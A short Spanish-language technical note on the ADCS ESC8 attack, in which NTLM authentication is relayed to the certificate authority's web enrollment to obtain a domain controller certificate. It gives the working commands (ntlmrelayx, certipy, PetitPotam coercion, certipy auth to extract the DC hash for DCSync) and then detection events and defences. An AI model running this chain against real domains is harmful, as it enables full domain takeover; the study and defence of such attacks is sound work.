ADCS ESC8 (relay NTLM a AD CS)
ESC8 abusa del Web Enrollment de Active Directory Certificate Services (los endpoints HTTP http://<ca>/certsrv/ y certfnsh.asp). Por defecto aceptan autenticación NTLM sobre HTTP sin firma ni EPA (Extended Protection for Authentication), así que un atacante puede relayar la autenticación NTLM de una cuenta de equipo hacia la CA y pedir un certificado en nombre de esa cuenta. Con el certificado se hace PKINIT para obtener un TGT (o el hash NT), lo que suele acabar en control del dominio si se relaya la cuenta del propio DC.
La cadena es coerción + relay + emisión de certificado. Primero se levanta el relay apuntando al endpoint web de la CA y a una plantilla que permita autenticación de máquina (Machine/DomainController):
impacket-ntlmrelayx -t http://<ca-host>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# certipy relay -target http://<ca-host> -template DomainControllerY se coacciona al DC (u otra máquina) para que autentique contra nosotros, con PetitPotam / PrinterBug:
python3 PetitPotam.py <attacker-ip> <dc-ip>El relay obtiene un certificado del DC en base64. Se convierte a .pfx y se usa para PKINIT y sacar el hash NT del DC, lo que abre un DCSync:
certipy auth -pfx dc.pfx -dc-ip <dc-ip> # TGT + NT hash de la cuenta DC$Cómo detectarlo. La firma está en los logs de la CA (evento 4886/4887, certificate requested/ issued) para una cuenta de equipo que normalmente no pide certificados, correlacionada con un evento de logon NTLM (4624 tipo 3) desde una IP inesperada y con una coerción previa (tráfico MS-EFSR/ MS-RPRN hacia el atacante). Un certificado emitido a DC$ con plantilla de máquina es un indicador de compromiso claro.
Defensa. Activar EPA y exigir HTTPS en el Web Enrollment de la CA, deshabilitar los endpoints HTTP si no se usan, y aplicar SMB/LDAP signing; parchear la coerción (PetitPotam). Es la variante por relay de ESC1 y se apoya en el NTLM relay.